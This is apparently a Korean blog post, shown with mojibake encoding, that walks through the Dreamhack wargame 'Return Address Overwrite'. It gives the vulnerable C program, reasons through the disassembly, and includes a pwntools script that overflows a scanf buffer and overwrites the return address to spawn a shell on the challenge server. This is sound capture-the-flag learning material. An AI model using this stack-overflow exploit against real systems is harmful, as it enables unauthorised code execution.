Jastes 2022. 4. 25. 19:48

๋ฌธ์ œํ’€์ด

๋„ˆ๋ฌด ์ง€์ณ์„œ.. ๋ฌธ์ œ ํ’€์ด๋Š” ํ•˜๋‚˜๋งŒ ํ• ๊นŒ์š”?


get_shell ํ•จ์ˆ˜๋ฅผ ํ™œ์šฉ

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
 
#include <stdio.h>
#include <unistd.h>
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
 
  execve(cmd, args, NULL);
}
 
int main() {
  char buf[0x28];
 
  init();
 
  printf("Input: ");
  scanf("%s", buf);
 
  return 0;
}

์œ„ ์ฝ”๋“œ๊ฐ€ ๋ฌธ์ œ์—์„œ ์ œ๊ณต๋˜๋Š” ์ฝ”๋“œ์ธ๋ฐ ํ™•์ธํ•ด ๋ณด์‹œ๋ฉด

get_shell์ด๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์นœํžˆ ์จ์ฃผ์„ธ์š” ํ•˜๊ณ  execve๋กœ ์‹คํ–‰์„ ์‹œ์ผœ์ฃผ์‹œ๋„ค์š”
์ฐธ๊ณ ๋กœ execve๋Š” cmd์ฐฝ์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜์‹œ๋ฉด ๋˜์‹ค ๊ฑฐ ๊ฐ™๋„ค์š”

gcc -o rao rao.c -fno-stack-protector -no-pie

์œ„์ฒ˜๋Ÿผ ํ•˜์…”์„œ ์‹คํ–‰ ํŒŒ์ผ๋กœ ๋งŒ๋“œ์‹œ๊ณ  ๋กœ์ปฌ๋กœ ์ฒ˜์Œ์— ์‹คํ–‰์„ ํ•ด๋ด…์‹œ๋‹ค.

์ € ๋ฌธ์ œ์—์„œ ์ทจ์•ฝํ•œ ์ฝ”๋“œ๊ฐ€ scanf๋กœ์จ ๊ทธ ์ด์œ ๋Š”

 

Memory Corruption: Stack Buffer Overflow

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ(Stack Buffer Overflow) ์„ธ๊ณ„ ์ตœ์ดˆ์˜ ์›œ์ด๋ผ๊ณ  ๋ถˆ๋ฆฌ๋Š” ๋ชจ๋ฆฌ์Šค ์œ”๋„ ์ด ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์ „ํŒŒ๋จ ๋ณด์•ˆ ๊ณต๋ถ€๋ฅผ ๋ชจ๋ฅด๋Š” ๊ฐœ๋ฐœ์ž๋„ ์•Œ๋งŒํผ ์œ ๋ช…ํ•˜๊ณ  ์—ญ์‚ฌ๊ฐ€ ์˜ค๋ž˜๋œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ

dystopia050119.tistory.com

์œ„ ์‚ฌ์ดํŠธ๋ฅผ ์ฐธ๊ณ ํ•˜์‹œ๊ณ , buf๊ฐ€ 0x28(40 byte)๋กœ ํ™•์ธํ•˜์‹ค ์ˆ˜ ์žˆ์œผ๋‚˜,
์ธ์ž๋ฅผ ํ™•์ธ์„ ์•ˆํ–ˆ๊ธฐ์— BOF๋ฅผ ์‹œํ‚ค๋Š” ๋ฌธ์ œ์ด์ฃ  RET๋ฅผ get_shell ํ•จ์ˆ˜๋กœ ํ•˜์ž๊ณ ์š” ใ…Ž

๋ถ„์„ํ•˜์‹œ๋ฉด lea๋กœ ๋ฐ˜ํ™˜ํ•˜๋Š” main+45์ธ 0x402014๋ฅผ ํ™•์ธํ•˜๋ฉด '%s'๋กœ ํ™•์ธ ๊ฐ€๋Šฅํ•˜์ฃ 
๊ทธ๋ฆฌ๊ณ  ๋ฐ”๋กœ scanf๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ์— ๋˜ํ•œ ์œ„์— main+4์— rsp๋ฅผ 0x30์œผ๋กœ ์ด์ „ C์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด
0x28์ธ๋ฐ ์ถ”๊ฐ€๋˜์—ˆ์ฃ  ์•„๋งˆ null๋ฅผ ๋„ฃ์–ด์„œ ๋๋‹จ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด์„œ์ž…๋‹ˆ๋‹ค. (๋ฌธ์ž์—ด์ด๋‹ˆ๊นŒ ใ…Ž)
์ด๊ฑฐ ๋ชจ๋ฅด์‹œ๋ฉด ์ €์ฒ˜๋Ÿผ ์‚ฝ์งˆ ์ง„์งœ ๋งŽ์ด ํ• ๊ฑธ์š” ใ… 

 

๊ทธ๋Ÿผ ํ™•์ธ์„ ํ•ด ์ ์–ด๋ณด๋ฉด scanf("%s", 0x30); ์ด๊ฒ ์ฃ ??
๊ทธ๋ฆฌ๊ณ  get_shell์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ณด๋ฉด 0x401199๋กœ ๋กœ์ปฌ ์ฃผ์†Œ์— ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ฐธ๊ณ ๋กœ BOF๋ฅผ ๋ฐœ์ƒํ•ด์•ผํ•˜๊ธฐ์— ์ž…๋ ฅ์„ ํ•  ๋•Œ์—๋Š” A*0x30์ •๋„๋Š” ํ•ด์•ผ๊ฒ ์ฃ 
์ž, ๊ทธ๋Ÿผ pwntools๋กœ ์ฝ”๋“œ๋ฅผ ์งœ์„œ ํ™•์ธํ•ด๋ณด๋ฉด..

from pwn import *
 
#p = process('./rao') # ๋กœ์ปฌ์—์„œ..
p = remote('host1.dreamhack.games', '10464') # ์›๊ฒฉ(WarGame)
context.arch = 'amd64'
context.log_level = 'debug'
 
shellcode = b'A'*0x30
shellcode += b'B'*0x08 
# shellcode += b'\99\x11\x40\x00\x00\x00\x00\x00 # ๋กœ์ปฌ
shellcode += b'\xaa\x06\x40\x00\x00\x00\x00\x00' # ์›๊ฒฉ
 
#p.sendafter('Input: ', shellcode)
p.recvuntil('Input: ') 
p.sendline(shellcode) 
p.interactive()

๋กœ ์ฃผ์„์ฒ˜๋Ÿฌ๋œ๋Œ€๋กœ ์‚ฌ์šฉํ•˜์‹œ๊ณ  ๋ถ„์„ํ•ด๋ณด์‹œ๋ฉด pwntools์˜ ์‚ฌ์šฉ๋ฒ•์„ ์•„์‹œ๋ฉด ๋”ฑํžˆ
ํ•  ๋ง์ด ์—†๋„ค์š” ๋ชจ๋ฅด์‹œ๊ฒ ๋‹ค๋ฉด ...

 

Tool: pwntools

pwntools์˜ ๊ฐ„๋‹จ ์„ค๋ช… ํƒ„์ƒ ๋ฐฐ๊ฒฝ๊ณผ ์„ค์น˜ ๋ฐฉ๋ฒ• ์ง€๋‚œ ์‹œ๊ฐ„์— ํŒŒ์ด์ฌ๊ณผ ํŒŒ์ดํ”„(|)๋ฅผ ํ†ตํ•ด ๊ฐ„๋‹จํ•œ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ–ˆ์ฃ  ํŒŒ์ด์ฌ์œผ๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ์ด๋ฅผ ํ”„๋กœ๊ทธ๋žจ

dystopia050119.tistory.com

ํ™•์ธ ํ•˜์‹œ๋ฉด ๋˜๊ฒ ์ฃ .. ๊ทธ๋Ÿผ local๊ณผ remote๋ฅผ ๊ฐ๊ฐ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•ด๋ณด์‹œ๋ฉด..

local & remote

ํ™•์ธ์„ ์œ„ํ•ด debug๋ฅผ ํ–ˆ๋Š”๋ฐ ๊ฒฐ๊ณผํ™”๋ฉด์€.. ๋ญ ์ž์œ ์ด๊ธดํ•ด์š” ์ด์ƒ ๋!

์•„ ๊ทธ๋ฆฌ๊ณ  ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ์œ„ ๋งํฌ์—์„œ ์ƒ์„ธํ•˜๊ฒŒ ๋˜ ๊ธฐ์ œํ•˜์‹œ๋”๋ผ๊ณ ์š”
๋ฌธ์ œ ํ’€์ด๋Š” ์•„๋‹ˆ์ง€๋งŒ ๋”ฑํžˆ ํฐ ์ฐจ์ด๋Š” ์—†์„ ๊ฑฐ์˜ˆ์š”

 

[Pwnable ๊ธฐ์ดˆ] Buffer Overflow์ทจ์•ฝ์ ๊ณผ ์‰˜์ฝ”๋“œ

๊ฐ„๋‹จํ•œ ์˜ˆ์‹œ๋ฅผ ํ†ตํ•ด ๋ฒ„ํผ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์— ๋Œ€ํ•ด์„œ ์•Œ์•„๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ์†Œ์Šค์ฝ”๋“œ ๋‹ค์šด๋กœ๋“œ : wget https://raw.githubusercontent.com/ICEB3AR/2020_Whois_Pwnable/main/week1/bof_poc.c ์ปดํŒŒ์ผ : gcc -fno-stack-protec..

dev.exd0tpy.xyz


์ฐธ๊ณ  ์ž๋ฃŒ

 

Return Address Overwrite

Description Exploit Tech: Return Address Overwrite์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

dreamhack.io

๋”๋ณด๊ธฐ

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

Return Address Overwrite

Description Exploit Tech: Return Address Overwrite์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

dreamhack.io